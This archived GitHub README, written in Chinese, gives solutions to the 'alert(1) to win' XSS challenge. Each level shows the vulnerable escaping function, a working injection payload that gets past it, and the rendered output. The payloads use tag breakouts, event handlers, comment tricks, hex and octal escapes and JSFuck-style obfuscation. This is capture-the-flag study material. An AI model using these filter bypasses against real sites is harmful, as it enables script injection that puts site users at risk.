Skip to content
This repository has been archived by the owner on Nov 30, 2021. It is now read-only.

Latest commit

 

History

History
728 lines (671 loc) · 21.2 KB

README.md

File metadata and controls

728 lines (671 loc) · 21.2 KB

alert(1) to win payloads

挑战地址:https://alf.nu/alert1

我还能更短!

所使用的浏览器 Opera 56.0.3051.43 和 Firefox 52.6.0

推荐使用Firefox,部分payload无法在Opera中执行

我的链接

https://alf.nu/alert(1)#accesstoken=NoNIWDnsKLzlDa2hkyRw

目录

Warmup (12)

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

热身题,对参数s没有任何校验,直接上payload吧

");alert(1);("

或者

");alert(1);//

最短的话,12个字符

");alert(1-"

或者

");alert(1|"

天才般的Javascript(劝退)

> 1 + ""
< "1"
> 1 - ""
< 1

Adobe (14)

function escape(s) {
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

全局替换了"\",就是说转义了双引号而没有转义转义字符\,也可以用</script>标签闭合,构造payload如下

\");alert(1)//

或者

</script><script>alert(1)//

JSON (27)

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

使用了JSON.stringify()函数对s进行处理,该函数会对双引号"和转义字符\进行转义,没有对< > ' /进行处理。那么闭合script标签,创建一个新的script 标签来执行alert(1),用//注释掉多余的字符串,payload如下

</script><script>alert(1)//

JavaScript (15)

function escape(s) {
  var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
  console.log(url);

  var a = document.createElement('a');
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

payload

%22);alert(1)//

%22是双引号"的URL编码,利用javascript:伪协议支持URL编码 Output

<a href=javascript:console.log("%22);alert(1)//")></a>

Markdown (31)

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

第一行代码将所有< "字符进行了转义 第二行是将形如http://S+ 的字符串改写为

<a href="http://S+">http://S+</a>

(S+为匹配一个非空白字符一次或多次) 第三行将形如[[a|b]]的字符串改写为

<img alt="b" src="a.gif"> 

先放出payload

[[a|http://onerror=alert(1)//]]

该函数构造的结果为

<img alt="<a href="http://onerror1=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

利用//来代替空格,href的起始"闭合alt的",再用//注释掉最后的"

DOM (32)

function escape(s) {
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}

通过#对字符串s进行切分,document['create' + m[0]]相当于调用了document.createXXX()函数,使用document.createComment()函数测试一下

Comment#111111

Output

<!--11111-->

那提前闭合注释标签,构造JavaScript代码就行了,payload如下

Comment#--><img/onerror=alert(1) src=x/>

还可以缩短一下

Comment#><iframe/onload=alert(1)

Output

<!--><iframe/onload=alert(1)-->

注:有一个更短的payload,29字符,但是在该网站上无法生效。

Comment#><svg/onload=alert(1)

Output

<!--><svg/onload=alert(1)-->

Callback (14)

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

和上一节很相似,输入

aaaa#bbbb

第一个字段为thing[0]不允许有a-z A-Z [ ] '中其他字符出现,第二个字段json对字符\ " <进行了转义。按照程序的结果,本意应该是构造下面这种形式 Input

Object#bbb

Ouput

<script>Object({"userdata":"bbb"})</script>

但是注意到一个很奇怪的地方,thing[0]可以包含[ ] '这些字符,而JSON.stringify()不对'进行转义。知道这些构造payload的简单多了。

'#'|alert(1)//

Output

<script>'({"userdata":"'|alert(1)//"})</script>

Skandia (52)

function escape(s) {
  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

toUpperCase()函数将小写字符转换为大写字符,alert()函数会变成ALERT(),无法执行。 可以采用HTML实体编码来绕过,参考HTML实体字符,也可以用AAencode绕过,不过太长了

</script><iframe/onload=&#97&#108&#101&#114&#116(1)>

Output

<script>console.log("</SCRIPT><IFRAME/ONLOAD=&#97&#108&#101&#114&#116(1)>")</script></script>

Template (24)

function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;       
     });
  }

  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g, 
        function(_, n) { 
           return htmlEscape(args[n]);
         });
  }
  
  return expandTemplate(
    "                                                \n\
      <h2>Hello, <span id=name></span>!</h2>         \n\
      <script>                                       \n\
         var v = document.getElementById('name');    \n\
         v.innerHTML = '<a href=#>{name}</a>';       \n\
      <\/script>                                     \n\
    ",
    { name : s }
  );
}

注入的地方在<a href=#>{name}</a>中的{name}字段,对< > & " '字符进行了转义,但是没有转义\字符,于是利用十六进制构建payload

\x3ciframe/onload=alert(1) 

Output

      <h2>Hello, <span id=name></span>!</h2>         
      <script>                                       
         var v = document.getElementById('name');    
         v.innerHTML = '<a href=#>\x3ciframe/onload=alert(1) </a>';       
      </script>                                   

2018-10-12更新 26字符

\x3cstyle/onload=alert(1) 

24字符,浏览器FireFox 52.6.0

\x3csvg onload=alert(1) 

JSON 2 (35)

function escape(s) {
  s = JSON.stringify(s).replace(/<\/script/gi, '');

  return '<script>console.log(' + s + ');</script>';
}

将 s 中的" \进行转义后,将</script替换为空串,(g: 全局查找,i:忽略大小写),用双写进行绕过

<</script/script><script>alert(1)//

Output

<script>console.log("</script><script>alert(1)//");</script>

Callback 2 (16)

function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/); 

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/\//g, '\\/');
  return "<script>" + thing[0] + "(" + json +")</script>";
}

Callback的加强版本,转义了/,无法构造//注释了,如果了解 javascript 的注释是有三种的,分别为// /**/ <!--,那么利用第三种就可以轻松绕过了

'#';alert(1)<!--

Output

<script>'({"userdata":"';alert(1)<!--"})</script>

Skandia 2 (99)

花了我两个小时才用137字符完成了这题。

function escape(s) {
  if (/[<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

如果只是单纯的实现弹窗,那没什么困难的,但是不管使用aaencode还是jsfuck,用的字符都太多了,这两种编码形式写出的payload都超过了1000字符。如果图省事,那推荐使用jjencode,537个字符搞定

");$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+"\"")())()//

但是看到很多人用100来个字符搞定有点不爽啊(80多个字符搞定的我真不知道怎么做到的),先上我的payload吧,再来分析

");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//

首先来看有效的部分

_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()

这段代码在console中输入可以执行alert(1),来逐句分析一下

_=!1+URL+!0

执行完毕后,_="falsefunction URL() { [native code] }true"(强制类型转换后进行字符串的拼接后的结果),类似的全大写函数还有CSS() JSON() ,这段代码给变量_赋予了一个字符串"falsefunction URL() { [native code] }true",通过_[num]的形式我们可以取到这个字符串中num位置的字符。

fill           =>    _[0]+_[10]+_[2]+_[2]
constructor    =>    _[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]
alert          =>    _[1]+_[2]+_[4]+_[38]+_[9]

那么简化后的代码为

[]["fill"]["constructor"]("alert(1)")()

这段代码就变得易读了,要想理解就需要知道jsfuck的工作原理,查看github.com/aemkei/jsfuck 对应的给出firefox浏览器下的payload

");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[42]+_[43]+_[8]+_[9]+_[11]+_[42]](_[1]+_[2]+_[4]+_[42]+_[9]+'(1)')()//

原因是对于代码_=!1+URL+!0返回的字符串不一样

"falsefunction URL() {
    [native code]
}true"

2018-10-12 99字符 八进制

"|[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()|"

iframe

function escape(s) {
  var tag = document.createElement('iframe');

  // For this one, you get to run any code you want, but in a "sandboxed" iframe.
  //
  // https://4i.am/?...raw=... just outputs whatever you pass in.
  //
  // Alerting from 4i.am won't count.

  s = '<script>' + s + '<\/script>';
  tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

  window.WINNING = function() { youWon = true; };

  tag.setAttribute('onload', 'youWon && alert(1)');
  return tag.outerHTML;
}

TI(S)M (25)

function escape(s) {
  function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }

  return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}

有两个可控的注入点,一是json(s)二是html(s),前者转义了" \ /"字符,后者对< > " &进行了HTML编码。如果我们让s为<!--<script> Output

<script>var url = "<!--<script>"; // We'll use this later </script>

  <!-- for debugging -->
  URL: &#60;!--&#60;script&#62;

<!-- then suddenly -->
<script>
  if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
  else new Image().src = url;
</script>

保存本地执行,并在浏览器中审查元素不难发现,其对<script>标签的匹配产生了影响,有了3个起始标签而只有2个结束标签,并且一个</script>标签被注释掉了,调整得到 payload

if(alert(1)/*<!--<script>

JSON 3 (29)

function escape(s) {
  return s.split('#').map(function(v) {
      // Only 20% of slashes are end tags; save 1.2% of total
      // bytes by only escaping those.
      var json = JSON.stringify(v).replace(/<\//g, '<\\/');
      return '<script>console.log('+json+')</script>';
      }).join('');
}

字符串s首先以字符#分割为字符串数组,然后对数组中的每一个字符串调用匿名函数,每一次调用返回类似<script>console.log('+s[0]+')</script>的字符串,然后再将其拼接。上一题谈过字符串<!--<script>会对标签的匹配产生影响,利用这一点首先尝试

<!--<script>#aaa

Output

<script>console.log("<!--<script>")</script><script>console.log("aaa")</script>

将其保存在本地,经过浏览器执行后,使用审查元素可以看到,原本的两个<script>标签被当成一个标签进行处理,由于<!--后面没有-->整个标签都没有得到执行,自然console也没有任何的报错信息。于是尝试

<!--<script>#-->

Output

<script>console.log("<!--<script>")</script><script>console.log("-->")</script>

保存本地执行,发现console如下报错 Uncaught SyntaxError: Invalid regular expression: missing / 这个告诉我们,标签的匹配没有了问题,但是在执行javascript代码的时候出现了语法错误,具体来看代码部分

console.log("<!--<script>")</script><script>console.log("-->")

报错信息为:非法的正则表达式:缺少了 / ,也便是说/script><script>console.log("-->")这个部分被当做了javascript的正则表达式(其形式为/.../,需要注意在正则表达式中()也要成对出现),于是构造payload

<!--<script>#)/|alert(1)//-->

Output

<script>console.log("<!--<script>")</script><script>console.log(")/|alert(1)//-->")</script>

Skandia 3 (137)

function escape(s) {
  if (/[\\<>]/.test(s)) return '-';

  return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

payload

");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//

RFC4627 (101)

function escape(text) {
  var i = 0;
  window.the_easy_but_expensive_way_out = function() { alert(i++) };

// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."

  if (!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
          text.replace(/"(\\.|[^"\\])*"/g, '')))) {
    try { 
      var val = eval('(' + text + ')');
      console.log('' + val);
    } catch (_) {
      console.log('Crashed: '+_);
    }
  } else {
    console.log('Rejected.');
  }
}

Well (79)

function escape(s) {
  http://www.avlidienbrunn.se/xsschallenge/

  s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
  return "<script> var email = '" + s + "'; <\/script>";
}

绕过绕过,我给出的最短payload

'|new Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`|'

Output

<script> var email = ''|new Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`|''; </script>

No


K'Z'K (60)

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    return '<script>console.log("' + s + '");</script>';
}

采用匿名函数调用的方法,构造[]["pop"]["constructor"]('alert(1)')()的十六进制绕过,得到payload

"|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"

Output

<script>console.log(""|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"");</script>

K'Z'K (84)

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels and escape sequences in honor of K'Z'K 
    // y is only sometimes a vowel, so it's only removed as a literal
    s = s.replace(/[aeiouy]|\\((x|u00)([46][159f]|[57]5)|1([04][15]|[15][17]|[26]5))/gi, '')
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>]/g, '');
    return '<script>console.log("' + s + '");</script>';
}

payload

"|[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()|"

Output

<script>console.log(""|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"");</script>

K'Z'K (189)

// submitted by Stephen Leppik
function escape(s) {
    // remove vowels in honor of K'Z'K the Destroyer
    s = s.replace(/[aeiouy]/gi, '');
    // remove certain characters that can be used to get vowels
    s = s.replace(/[{}!=<>\\]/g, '');
    return '<script>console.log("' + s + '");</script>';
}

payload

"|[]['m'+(++[][[]]+[])[1]+'p']['c'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'nstr'+([][[]]+[])[0]+'ct'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'r']((++[][[]]+[])[1]+'l'+([][[]]+[])[3]+'rt(1)')()|"

Output

<script>console.log(""|[]['m'+(++[][[]]+[])[1]+'p']['c'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'nstr'+([][[]]+[])[0]+'ct'+([]['m'+(++[][[]]+[])[1]+'p']+[])[6]+'r']((++[][[]]+[])[1]+'l'+([][[]]+[])[3]+'rt(1)')()|"");</script>

Fruit(23)

// CVE-2016-4618
function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if ('SCRIPT' === n.tagName) n.parentNode.removeChild(n);
    for (var i=0; i<n.attributes.length; i++) {
      var name = n.attributes[i].name;
      if (name !== 'class') { n.removeAttribute(name); }
    }
  }
  [].map.call(div.querySelectorAll('*'), f);
  return div.innerHTML;
}

payload Firefox 52.6.0

<svg t onload=alert(1)>

Output

<svg onload="alert(1)"></svg>

Fruit 2 (23)

// CVE-2016-7650
function escape(s) {
  var div = document.implementation.createHTMLDocument().createElement('div');
  div.innerHTML = s;
  function f(n) {
    if (/script/i.test(n.tagName)) n.parentNode.removeChild(n);
    for (var i=0; i<n.attributes.length; i++) {
      var name = n.attributes[i].name;
      if (name !== 'class') { n.removeAttribute(name); }
    }
  }
  [].map.call(div.querySelectorAll('*'), f);
  return div.innerHTML;
}

payload

<svg t onload=alert(1)>

Output

<svg onload="alert(1)"></svg>

Fruit 3

Capitals

Quine

Entities (13)

// submitted by securityMB
function escape(s) {
  function htmlentities(s) {
    return s.replace(/[&<>"']/g, c => `&#${c.charCodeAt(0)};`)
  }
  s = htmlentities(s);
  return `<script>
  var obj = {};
  obj["${s}"] = "${s}";
</script>`;
}

两个注入点,利用好注释符和转义字符 payload

];alert(1)//\

Output

<script>
  var obj = {};
  obj["];alert(1)//\"] = "];alert(1)//\";
</script>

Entities 2